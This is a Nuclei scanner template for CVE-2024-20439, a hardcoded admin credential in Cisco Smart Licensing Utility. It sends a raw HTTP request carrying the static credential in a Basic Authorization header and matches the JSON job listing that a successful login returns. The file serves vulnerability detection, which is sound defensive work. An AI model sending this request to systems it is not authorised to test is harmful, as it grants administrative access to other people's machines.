id: CVE-2024-20439

info:
  name: Hardcoded Admin Credentials For Cisco Smart Licensing Utility API
  author: iamnoooob,parthmalhotra,pdresearch
  severity: critical
  description: |
    A vulnerability in Cisco Smart Licensing Utility could allow an unauthenticated, remote attacker to log in to an affected system by using a static administrative credential.This vulnerability is due to an undocumented static user credential for an administrative account. An attacker could exploit this vulnerability by using the static credentials to log in to the affected system. A successful exploit could allow the attacker to log in to the affected system with administrative privileges over the API of the Cisco Smart Licensing Utility application.
  reference:
    - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cslu-7gHMzWmw
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-20439
    cwe-id: CWE-912
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2024,cisco,smart,licensing,auth-bypass

http:
  - raw:
      - |
        GET /cslu/v1/scheduler/jobs HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic Y3NsdS13aW5kb3dzLWNsaWVudDpMaWJyYXJ5NEMkTFU=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"job_name":'
          - '"current_status":'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e4a441996366cf3bb5d14b9d48ca8cce2593969fca3274b0baed89c8d17cbce5022100a2c2f5cc61853440e45a70bb1e70cf2a26076e6fcf0ec68f50624e789c846559:922c64590222798bb761d5b6d8e72950